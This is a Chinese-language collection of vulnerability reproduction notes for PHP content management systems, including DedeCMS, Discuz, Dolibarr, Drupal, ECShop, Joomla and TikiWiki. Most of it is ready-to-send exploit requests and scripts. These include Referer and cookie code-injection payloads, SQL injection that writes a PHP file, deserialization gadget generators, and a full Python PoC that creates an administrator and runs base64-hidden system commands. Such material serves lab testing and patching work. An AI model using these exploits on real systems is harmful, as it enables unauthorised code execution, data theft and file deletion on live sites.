$addset .= '<' . '?php' . "\r\n" . 'if(!isset($GLOBALS[\'_vars\'])) $GLOBALS[\'_vars\'] = array(); ' . "\r\n" . '$fields = array();' . "\r\n" . '?' . '>';
return preg_replace("/\?" . ">[ \r\n\t]{0,}<" . "\?php/", "", $addset . $this->sourceString);
}
public function CheckDisabledFunctions($str, &$errmsg = '')
{
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
// 模板引擎增加disable_functions
if (!defined('DEDEDISFUN')) {
$tokens = token_get_all_nl($str);
$disabled_functions = explode(',', $cfg_disable_funs);
foreach ($tokens as $token) {
if (is_array($token)) {
if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
$errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
return false;
}
}
}
}
return true;
}
GetResult() 方法执行后返回的结果通过 CheckDisabledFunctions() 方法过滤后 经过Display() 的 include $this->cacheFile;
public function Display()
{
global $gtmpfile;
extract($GLOBALS, EXTR_SKIP);
$this->WriteCache();
include $this->cacheFile;
}
此时我们就可以通过控制 Referer请求头,来控制模版的渲染,绕过 CheckDisabledFunctions()方法的过滤 造成远程命令执行
通过正则找到受影响且无需身份认证的文件,来进行命令执行
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
........
这里利用没有过滤的双引号绕过 disables 禁止的函数
漏洞请求包
GET /plus/flink.php?dopost=save HTTP/1.1
Host:
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: <?php "system"(ls);?>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
discuz
wooyun-2010-080723
Discuz 7.x/6.x 全局变量防御绕过导致代码执行
由于php5.3.x版本里php.ini的设置里request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。
具体原理请参考:
漏洞环境
执行如下命令启动Discuz 7.2:
docker compose up -d
启动后,访问http://your-ip:8080/install/
来安装discuz,数据库地址填写db
,数据库名为discuz
,数据库账号密码均为root
。
漏洞复现
安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
:
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close
可见,phpinfo已成功执行:
网上文章说需要一个带表情评论的帖子,实际测试发现并不需要,这块仍需阅读代码来解释原因。
x3.4-arbitrary-file-deletion
Discuz!X ≤3.4 任意文件删除漏洞
影响版本:Discuz!X ≤3.4
漏洞详情:https://lorexxar.cn/2017/09/30/dz-delete/
启动环境
执行下列命令部署 Discuz!X 安装环境
docker compose up -d
安装时,只用修改数据库地址为db
,其他保持默认即可:
漏洞复现
访问http://your-ip/robots.txt
可见robots.txt是存在的:
注册用户后,在个人设置页面找到自己的formhash:
带上自己的Cookie、formhash发送如下数据包:
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态:
说明我们的脏数据已经进入数据库了。
然后,新建一个upload.html
,代码如下,将其中的[your-ip]
改成discuz的域名,[form-hash]
改成你的formhash:
<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
用浏览器打开该页面,上传一个正常图片。此时脏数据应该已被提取出,漏洞已经利用结束。
再次访问http://your-ip/robots.txt
,发现文件成功被删除:
Discuz!X 3.4 admincp_setting.php 后台SQL注入漏洞
漏洞描述
不久以前Discuz!X的后台披露了一个sql注入的漏洞,这里也要感谢漏洞的发现和研究者(无糖的kn1f3)。
影响版本
环境搭建
将 upload
目录下的文件拷入phpstudy
下的WWW目录打开网站按照步骤安装就行了
漏洞复现
来到后台页面, 在 UCenter 应用 ID
位置的参数添加单引号并抓包
发现出现SQL语句报错
使用报错注入去获取版本号
这里的参数为 settingnew[uc][appid]
查看文件 \source\admincp\admincp_setting.php
, 在2677行找到了输入点
根据报错语句找到SQL语句执行点,在文件uc_client\model\base.php
中的 206行
通过这里的语句可以看到我们可以使用 union注入
的方法来写入恶意文件(secure_file_priv不能为Null
)
1' union select "<?php phpinfo();?>" into outfile 'D:/test.php';--+
DocCMS
DocCMS keyword SQL注入漏洞
漏洞描述
DocCMS keyword参数存在 SQL注入漏洞,攻击者通过漏洞可以获取数据库信息
漏洞影响
网络测绘
漏洞复现
CMS官网
验证POC
/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33
其中payload为下列语句的二次Url编码
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
Dolibarr
Dolibarr edit.php 远程命令执行漏洞 CVE-2022-40871
漏洞描述
Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限
漏洞影响
网络测绘
漏洞复现
登录页面
利用POC 创建用户进行命令执行
漏洞POC
import requests
from requests.packages import urllib3
import time
import random
import sys
import re
sess = requests.Session()
pcre = re.compile(r'name=\"token\"\s+value=\"([^>]+)\"\s*[/]*>')
def request(method, url, headers=None, data=None, proxies=None, timeout=30):
i = 1
urllib3.disable_warnings()
resp = None
proxies = proxies
while i <= 3:
try:
resp = sess.request(method=method, url=url, headers=headers,
data=data, proxies=proxies, timeout=timeout, verify=False)
break
except requests.exceptions.TooManyRedirects:
break
except requests.exceptions.ConnectionError as e:
time.sleep(2 + random.randint(1, 4))
except (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout, requests.exceptions.Timeout):
time.sleep(2 + random.randint(1, 4))
finally:
i += 1
if i > 3:
print('[-]Error retrieve with max retries: {}'.format(url))
return resp
def exp():
if len(sys.argv) < 2:
sys.exit('Usage: python3 {} http://xxxxx.com/'.format(sys.argv[0]))
if sys.argv[1][-1] == '/':
base = sys.argv[1].rsplit('/', 1)[0]
else:
base = sys.argv[1]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36',
}
#proxies = {'http': 'http://127.0.0.1:8082', 'https': 'http://127.0.0.1:8082'}
proxies = None
res = request('GET', base, headers=headers, proxies=proxies)
err_flag = 1
if res:
print('[*] Attempt to add admin.')
base = res.url.rsplit('/', 1)[0]
add_admin_url = '{}/install/step5.php'.format(base)
data = {
'action': 'set',
'login': 'testadmins',
'pass': 'testadmins',
'pass_verif': 'testadmins',
'selectlang': 'auto'
}
headers['Content-Type'] = 'application/x-www-form-urlencoded'
res = request('POST', add_admin_url, headers=headers, data=data, proxies=proxies)
if res and 'created successfully' in res.text or ('exists' in res.text and 'Email already exists' not in res.text):
csrf_token_url = '{}/index.php'.format(base)
res = request('GET', csrf_token_url, headers=headers, proxies=proxies)
if res:
print('[*] Attempt to login.')
try:
csrf_token = pcre.findall(res.text)[0]
except:
csrf_token = ''
login_url = '{}/index.php?mainmenu=home'.format(base)
headers['Referer'] = csrf_token_url
data = {
'token':'{}'.format(csrf_token),
'actionlogin': 'login',
'loginfunction': 'loginfunction',
'username': 'testadmins',
'password': 'testadmins'
}
res = request('POST', login_url, headers=headers, data=data, proxies=proxies)
if res and res.status_code == 200 and 'logout.php' in res.text:
print('[*] Attempt to get csrf token.')
csrf_token_url = '{}/admin/menus/edit.php?menuId=0&action=create&menu_handler=eldy_menu'.format(base)
res = request('GET', csrf_token_url, headers=headers, proxies=proxies)
if res:
print('[*] Attemp to inset evil data.')
try:
csrf_token = pcre.findall(res.text)[0]
except:
csrf_token = ''
inset_evil_url = '{}/admin/menus/edit.php'.format(base)
data = {
'token': '{}'.format(csrf_token),
'action': 'add',
'menuId': random.randint(10000, 99999),
'menu_handler': 'eldy_menu',
'user': 2,
'type': 1,
'titre': 1,
'url': 1,
'enabled': "1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//" #execute id command,bypass core/lib/function.lib.php limits
}
res = request('POST', inset_evil_url, headers=headers, data=data, proxies=proxies)
if res and res.history[0].status_code == 302:
print('[*] Attemp to execute command.')
request('GET', '{}/admin/menus/index.php'.format(base), headers=headers, proxies=proxies)
time.sleep(3)
evil_url = '{}/admin/index.php'.format(base)
res = request('GET', evil_url, headers=headers, proxies=proxies)
if res and res.status_code == 200 and 'pwned!!!' in res.text:
print(res.text[:100])
print('[+] vulnrable! {}'.format(base))
err_flag = 0
if err_flag:
print('[-] {} is not exploitable.'.format(sys.argv[1]))
exp()
drupal
CVE-2014-3704Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)
Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。
漏洞环境
执行如下命令启动Drupal 7.31环境:
docker compose up -d
环境启动后,访问http://your-ip:8080
即可看到Drupal的安装页面,使用默认配置安装即可。
其中,Mysql数据库名填写drupal
,数据库用户名、密码为root
,地址为mysql
:
安装完成后,访问首页:
漏洞复现
该漏洞无需认证,发送如下数据包即可执行恶意SQL语句:
POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
可见,信息已被爆出:
CVE-2017-6920
Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)
- 影响软件:Drupal
- 方式:反序列化
- 参考链接:CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造
- 效果:任意代码执行
漏洞环境
执行如下命令启动 drupal 8.3.0 的环境:
docker compose up -d
环境启动后,访问 http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
- 先安装
yaml
扩展
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER
- 1.登录一个管理员账号
- 2.访问
http://127.0.0.1:8080/admin/config/development/configuration/single/import
- 3.如下图所示,
Configuration type
选择Simple configuration
,Configuration name
任意填写,Paste your configuration here
中填写PoC如下:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
- 4.点击
Import
后可以看到漏洞触发成功,弹出phpinfo
页面。
- Tips:
- 虽然官方 CPE 信息显示从
8.0.0
开始就有该漏洞,但是在drupal:8.0.0
容器内并没有复现成功,相同操作在drupal:8.3.0
则可以复现成功,故基础镜像选择drupal:8.3.0
- 虽然官方 CPE 信息显示从
CVE-2018-7600
Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)
Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞。相关分析如下:
漏洞环境
执行如下命令启动drupal 8.5.0的环境:
docker compose up -d
环境启动后,访问http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
参考a2u/CVE-2018-7600,我们向安装完成的drupal发送如下数据包:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
成功执行代码,这个代码最终执行了id命令:
CVE-2018-7602
Drupal 远程代码执行漏洞(CVE-2018-7602)
- 影响软件:drupal
- 方式:对URL中的#进行编码两次,绕过sanitize()函数过滤
- 效果:任意命令执行
漏洞环境
执行如下命令启动drupal 7.57的环境:
docker compose up -d
环境启动后,访问 http://your-ip:8081/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
参考pimps/CVE-2018-7600的PoC。
如下图所示,执行以下命令即可复现该漏洞。示例命令为 id
,如图红框中显示,可以执行该命令。
# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/
CVE-2019-6339
Drupal 远程代码执行漏洞(CVE-2019-6339)
- 影响软件:Drupal
- 方式:phar反序列化RCE
- 参考链接:Drupal 1-click to RCE 分析
- 效果:任意命令执行
漏洞环境
执行如下命令启动drupal 8.5.0的环境:
docker compose up -d
环境启动后,访问 http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考thezdi/PoC的PoC。
Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/
,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
访问 http://127.0.0.1:8080/admin/config/media/file-system
,在 Temporary directory
处输入之前上传的图片路径,示例为 phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg
,保存后将触发该漏洞。如下图所示,触发成功。
CVE-2019-6341
Drupal XSS漏洞(CVE-2019-6341)
- 影响软件:Drupal
- 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞
- 参考链接:Drupal 1-click to RCE 分析
- 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)
漏洞环境
执行如下命令启动drupal 8.5.0的环境:
docker compose up -d
环境启动后,访问 http://your-ip:8080/
将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
漏洞复现
该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。
Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/
,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC。
如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口。
php cve-2019-6341-exp.php 192.168.11.1 8080
上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示。
Tips:
- 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器。
- 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析
ecshop
collection_list-sqli
ECShop 4.x collection_list
SQL 注入漏洞
参考资料:
漏洞环境
执行以下命令启动 ECShop 4.0.6:
复制代码
docker compose up -d
服务器启动后,访问 http://your-ip:8080
查看安装向导。根据手册操作,将数据库地址填写为 mysql
,用户名和密码分别为 root
和 root
。
漏洞利用
该漏洞的原理类似于 xianzhi-2017-02-82239600,可以利用任意 insert_
函数进行 SQL 注入。
可以利用多个 insert_
函数。例如,insert_user_account
:
GET /user.php?act=collection_list HTTP/1.1
Host: your-ip:8080
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953auser_account|a:2:{s:7:"user_id";s:38:"0'-(updatexml(1,repeat(user(),2),1))-'";s:7:"payment";s:1:"4";}|45ea207d7a2b68c49582d2d22adf953a
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Cookie: ECS_ID=f7b1398a0fdc189b691a6f1c969911ac1eea8fca;ECS[password]=445ac05c4ae0555ed091bb977b08581f;ECS[user_id]=3;ECS[username]=demo;ECS[visit_times]=2;ECSCP_ID=1a8bddd69b3b81efbe441a185ac52e7d24852d87;PHPSESSID=bb2033d66975ff7c2be29896d2d4260c;real_ipd=172.18.0.1;
Connection: close
注意,你需要先以普通用户身份登录。
使用 insert_pay_log
作为 POC:
GET /user.php?act=collection_list HTTP/1.1
Host: 192.168.1.162:8080
X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:44:"1' and updatexml(1,repeat(user(),2),1) and '";|
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Cookie: ECS_ID=f7b1398a0fdc189b691a6f1c969911ac1eea8fca;ECS[password]=445ac05c4ae0555ed091bb977b08581f;ECS[user_id]=3;ECS[username]=demo;ECS[visit_times]=2;ECSCP_ID=1a8bddd69b3b81efbe441a185ac52e7d24852d87;PHPSESSID=bb2033d66975ff7c2be29896d2d4260c;real_ipd=172.18.0.1;
Connection: close
xianzhi-2017-02-82239600
ECShop 2.x/3.x SQL注入/任意代码执行漏洞
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中,存在一处SQL注入漏洞,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。其3.6.0最新版已修复该漏洞,vulhub中使用其2.7.3最新版与3.6.0次新版进行漏洞复现。
参考链接:
环境搭建
执行如下命令启动ecshop 2.7.3与3.6.0:
docker compose up -d
环境启动后,访问http://your-ip:8080
将看到2.7.3的安装页面,访问http://your-ip:8081
将看到3.6.0的安装页面。
依次安装二者,mysql地址填写mysql
,mysql账户与密码均为root
,数据库名随意填写,但2.7.3与3.6.0的数据库名不能相同。如图:
漏洞复现
我编写了一个脚本,可以生成2.x和3.x的POC:
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
生成的POC,放在Referer里发送:
GET /user.php?act=login HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
2.x的执行结果
3.x的执行结果:
emlog
emlog widgets.php 后台SQL注入漏洞
漏洞描述
emlog widgets.php文件在登录后通过构造特殊语句导致SQL注入,获取数据库敏感信息
漏洞影响
网络测绘
漏洞复现
产品主页
https://github.com/emlog/emlog
存在漏洞的文件为 admin/widgets.php
if ($action == 'compages') {
$wgNum = isset($_POST['wgnum']) ? intval($_POST['wgnum']) : 1;//侧边栏编号 1、2、3 ……
$widgets = isset($_POST['widgets']) ? serialize($_POST['widgets']) : '';
Option::updateOption("widgets{$wgNum}", $widgets);
$CACHE->updateCache('options');
emDirect("./widgets.php?activated=true&wg=$wgNum");
}
传参为 wgnum 和 widgets ,跟踪方法 updateOption
static function updateOption($name, $value, $isSyntax = false){
$DB = Database::getInstance();
$value = $isSyntax ? $value : "'$value'";
$DB->query('UPDATE '.DB_PREFIX."options SET option_value=$value where option_name='$name'");
}
可以发现对传入的参数木有进行过滤,构造Payload
POST /admin/widgets.php?action=compages
widgets=1' and updatexml(0x3a,concat(1,(select user())),1)--
调试后可以发现,数据库报错语句会回显至页面中,报错注入即可获取敏感信息
joomla
CVE-2015-8562
Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)
Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。
本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。
通过Joomla中的Gadget,可造成任意代码执行的结果。
详情可参考:
影响版本
- Joomla 1.5.x, 2.x, and 3.x before 3.4.6
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
测试环境
启动测试环境:
docker compose up -d
启动后访问http://your-ip:8080/
即可看到Joomla的首页,包含测试数据。
漏洞复现
然后我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie:
再用如下脚本生成POC:(在线运行)
<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
$poc = serialize($a);
$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);
echo "123}__test|{$poc}\xF0\x9D\x8C\x86";
将生成好的POC作为User-Agent,带上第一步获取的Cookie发包,这一次发包,脏数据进入Mysql数据库。然后同样的包再发一次,我们的代码被执行:
CVE-2017-8917
Joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞环境
Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。
Joomla在3.7.0中新引入的一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。com_fields组件由于对请求数据过滤不严导致了SQL注入。
参考链接:
- https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
- https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
测试环境
执行如下命令启动一个Joomla 3.7.0服务:
docker compose up -d
启动后访问http://your-ip:8080
即可看到Joomla的安装界面和测试数据。
漏洞复现
直接访问http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)
,即可看到SQL报错信息:
CVE-2023-23752
Joomla权限绕过漏洞(CVE-2023-23752)
Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。
在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。
参考链接:
- https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html
- https://xz.aliyun.com/t/12175
- https://vulncheck.com/blog/joomla-for-rce
漏洞影响
网络测绘
漏洞环境
执行如下命令启动一个Joomla 4.2.7:
docker compose up -d
服务启动后,访问http://your-ip:8080
即可查看到Joomla页面。
漏洞复现
这个漏洞是由于错误的属性覆盖导致的,攻击者可以通过在访问Rest API时传入参数public=true
来绕过权限校验。
比如,访问下面这个链接即可读取所有配置项,包括数据库连接用户名和密码:
http://your-ip:8080/api/index.php/v1/config/application?public=true
如果不添加public=true
,则访问会被拒绝:
访问下面这个链接即可读取所有用户信息,包含邮箱等:
http://your-ip:8080/api/index.php/v1/users?public=true
tikiwiki
CVE-2020-15906
Tiki Wiki CMS Groupware 认证绕过漏洞(CVE-2020-15906)
Tiki Wiki CMS Groupware或简称为Tiki(最初称为TikiWiki)是一种免费且开源的基于Wiki的内容管理系统和在线办公套件。在如下这些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一处逻辑错误,管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台。
参考链接:
- https://info.tiki.org/article473-Security-Releases-of-all-Tiki-versions-since-16-3
- https://github.com/S1lkys/CVE-2020-15906
- http://packetstormsecurity.com/files/159663/Tiki-Wiki-CMS-Groupware-21.1-Authentication-Bypass.html
- https://srcincite.io/pocs/cve-2021-26119.py.txt
漏洞环境
执行如下命令启动一个Tiki Wiki CMS 21.1:
docker compose up -d
环境启动后,访问http://your-ip:8080
可以看到其欢迎页面。
漏洞复现
我们可以使用https://srcincite.io/pocs/cve-2021-26119.py.txt中的POC进行复现。该POC先使用CVE-2020-15906绕过认证,获取管理员权限;再使用Smarty的沙盒绕过漏洞(CVE-2021-26119)于后台执行任意命令:
python poc.py your-ip:8080 / id
注意,受到漏洞原理的影响,执行该POC会导致管理员账户被锁定。
OKLite
OKLite 1.2.25 后台插件安装 任意文件上传
漏洞描述
OKLite v1.2.25 后台插件过滤不完善导致可以上传恶意木马文件
漏洞影响
漏洞复现
关于执行逻辑参照上一篇OKLite 1.2.25 后台模块导入 任意文件上传 CVE-2019-16131
出现漏洞的位置在于framework/admin/plugin_control.php
public function unzip_f()
{
$id = $this->get('id','int');
$rs = $this->model('res')->get_one($id);
if(!$rs){
